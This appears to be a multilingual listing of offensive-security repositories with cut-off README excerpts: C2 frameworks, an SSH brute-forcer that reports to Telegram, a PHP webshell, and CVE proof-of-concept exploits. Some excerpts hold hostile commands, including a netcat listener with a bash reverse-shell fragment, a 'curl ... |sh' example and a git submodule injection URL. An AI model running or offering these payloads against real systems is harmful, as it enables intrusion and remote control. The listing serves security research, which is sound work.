RedLogin

RedLogin Red Login: SSHブルートフォースツール 特徴: 高速かつ高精度 CLI（コンソールベース） 攻撃成功後に任意のコマンドを実行（デフォルトは 'Uname -a'） Telegramメッセンジャー対応：ボットAPI経由でレポートを送信 使用方法: Redlogin.exe Optional —telegram == ターゲットIPリスト == テストするユーザー名のリスト == テストするパスワードのリスト == @BotFatherで取得したTelegramボットトークン == @userinfobotで取得したTelegramチャットID 謝辞 JeJe...

SharpC2

SharpC2 SharpC2 是一个用 C 编写的命令与控制（C2）框架，由 ASP.NET Core 团队服务器、.NET Framework 植入端和 .NET MAUI 客户端组成。...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow 向けの RCE および Domain Admin 権限昇格。PoC を含む。 報告および修正: 2022-05 パッチ適用バージョン: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: コマンドインジェクション, RCE 重要度: 3/3 タイプ: コマンドインジェクション, RCE,...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit のエクスプロイト - コマンドインジェクション このリポジトリが気に入りましたか？ ⭐を付けてください！ 教育および許可されたセキュリティ研究目的のみに使用してください。 エクスプロイト作成者 @UNICORDev @NicPWNs と @Dev-Yeoj 作 脆弱性の説明 pdfkit パッケージ（0.0.0以降）は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 エクスプロイトの説明 Ruby gem pdfkit は、ウェブサイトや HTML を PDF...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 詳細 説明 パッケージ pdfkit バージョン 0.0.0 以降 は、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 PoC HTTP サーバーの起動 1- python3 -m http.server 80 netcat リスナーの起動 2- nc -lnvp 'Target Port' リクエストの送信 3- http://"TARGETADDRESS:Target PORT"//?name='%20bash -c 'exec bash -i...

socks5

socks5 Socks5/Socks5h サーバーおよびクライアント このプロジェクトは、Bridge にプロトコルサポートを追加するためのものです。単独でも使用できます。 使用方法 API ドキュメント 例 CONNECT コマンドのサポート BIND コマンドのサポート ASSOCIATE コマンドのサポート ライセンス MIT ライセンスの下でライセンスされています。完全なライセンス文については、LICENSE を参照してください。...

cve-2026-26114-poc

CVE-2026-26114 実験室またはテストが許可されたシステムでのみ使用してください。 Python PoC pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami C:\Windows\Temp\cve202626114.txt" --proxy...

DaaC2

DaaC2 - DiscordをC2として これは退屈だったので Discord ボットで遊んでみたくて、Discord を介して C2 サーバーとエージェント間の通信ラインを構築できるか試してみたものです。実際にかなりうまく動作しました。理想的には、もっと時間があれば、これを初期ドロッパーとして使用し、インジェクションを介してシェルをアップグレードしたいところです。でも、私はレッドチーマーではないので、実際に何をするかはわかりません。ただものを作るのが好きなだけです。 詳細はこちらをご覧ください: https://crawl3r.github.io/2020-01-25/DaaC2...

massdns

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per...

pspy

pspy - 非特権Linuxプロセススヌーピング pspyは、root権限を必要とせずにプロセスを監視するために設計されたコマンドラインツールです。他のユーザーが実行したコマンドやcronジョブなどを、実行時に確認できます。CTFでのLinuxシステムの列挙に最適です。また、コマンドライン引数としてシークレットを渡すことがなぜ悪いアイデアかを同僚に示すのにも最適です。 このツールは、procfsスキャンから情報を収集します。ファイルシステムの選択された部分に配置されたInotifyウォッチャーがこれらのスキャンをトリガーし、短命なプロセスをキャッチします。 はじめに ダウンロード...

FruityC2

FruityC2 これはFruityC2（アルファ版）の初回リリースです。任意のLinuxシステムにインストールできますが、インストールスクリプトはDebianベースのシステム向けに作成されています。今後のリリースで多くの機能が追加される予定で、コードも大幅に変更される可能性がありますが、このバージョンでもFruityC2の概要を示すには十分です。 FruityC2は、侵害されたマシンにエージェントを展開することを基盤としたポストエクスプロイテーション（かつオープンソース）フレームワークです。エージェントはオペレーターの制御下にあるWebインターフェースから管理されます。...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file...

CVE-2023-51385_test

验证CVE-2023-51385 首先需要在/.ssh/config中增加如下内容 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules文件语句中存在命令注入 url = ssh://echo helloworld cve.txtfoo.example.com/bar 配置完成后,执行下面的指令触发 git clone https://github.com/LtmThink/CVE-2023-51385test --recurse-submodules...

CVE-2022-30525_check

CVE-2022-30525check 描述： 该脚本用于检查运行固件版本5.00至5.21 Patch 1的Zyxel USG FLEX设备中是否存在操作系统命令注入漏洞CVE-2022-30525。该漏洞允许攻击者在易受攻击的设备上修改特定文件并执行操作系统命令。 使用说明： 确保系统已安装Python 3 下载脚本并保存到本地计算机 打开命令提示符或终端窗口，并导航到脚本保存的目录 使用以下命令运行脚本："python CVE-2022-30525.py -t TARGETURL" 将TARGETURL替换为您要检查的Zyxel USG FLEX设备的URL...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL 目标url -c COMMAND, --command COMMAND 命令 -i LHOST, --lhost LHOST 反弹主机地址 -p LPORT, --lport LPORT 反弹主机端口 -f FILE, --file FILE 批量扫描...

CVE-2024-50379-POC

CVE-2024-50379-POC このリポジトリには、CVE-2024-50379 を悪用する Python スクリプトが含まれています。この脆弱性を利用すると、攻撃者は脆弱なサーバーに JSP シェルをアップロードし、リモートで任意のコマンドを実行できます。このエクスプロイトは、対象サーバーの /uploads ディレクトリが保護されていない、または存在しない場合に特に有用です。 概要 CVE-2024-50379 は、ファイルアップロードを適切に処理しないサーバーに影響を与える脆弱性であり、攻撃者が JSP...

Webmin_1.890-POC

Webmin 1.890 过期密码远程 Root 漏洞 CVE-2019-15107 Webmin 版本 1.890 发布时携带一个后门，任何知晓该后门的人都可以以 root 身份执行命令。版本 1.900 到 1.920 也包含使用类似代码的后门，但在默认的 Webmin 安装中无法被利用。只有当管理员在 Webmin - Webmin 配置 - 身份验证 中启用了允许更改过期密码的功能时，攻击者才能利用它。 要求 你需要 pip3 来安装这些软件包。 requests argparse os bs4 帮助菜单 $ python3 Webminexploit.py --help...

CVE-2022-36804

CVE-2022-36804 Bitbucket RCE 2022 此仓库是 hgrab-framework 的一部分 dork title: "Public Repositories - Bitbucket" 受影响的产品 - Bitbucket Server 和 Data Center 7.6 至 7.6.17 之前的版本 - Bitbucket Server 和 Data Center 7.17 至 7.17.10 之前的版本 - Bitbucket Server 和 Data Center 7.21 至 7.21.4 之前的版本 - Bitbucket Server 和 Data...

CVE-2023-34960

CVE-2023-34960 Inyección de Comandos en Chamilo con shell de subida automática. usa tu lógica comprueba la ruta del directorio en tu resultado vulnerable, luego podrás encontrar tus shells de acceso wso.php Para Instalar y Ejecutar $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd...

rome-webshell

Rome WebShell パワフルで楽しいPHP WebShell これは軽量なPHPウェブシェル で、バニラJavaScriptとCSSのみを使用し、 jQueryやBootstrapの無駄は一切ありません 。 機能 完全インタラクティブなファイルエクスプローラー 、ディレクトリのブラウズとファイルの即時ダウンロード ブラウザから直接ファイルをアップロード ペイロードをURLエンコードすることなくコマンドを実行 MD5パスワード保護 、例えばKing of The Hill中にアクセスを制限するのに便利 完全CSSアニメーション、レスポンシブ で楽しいFlatUIインターフェース...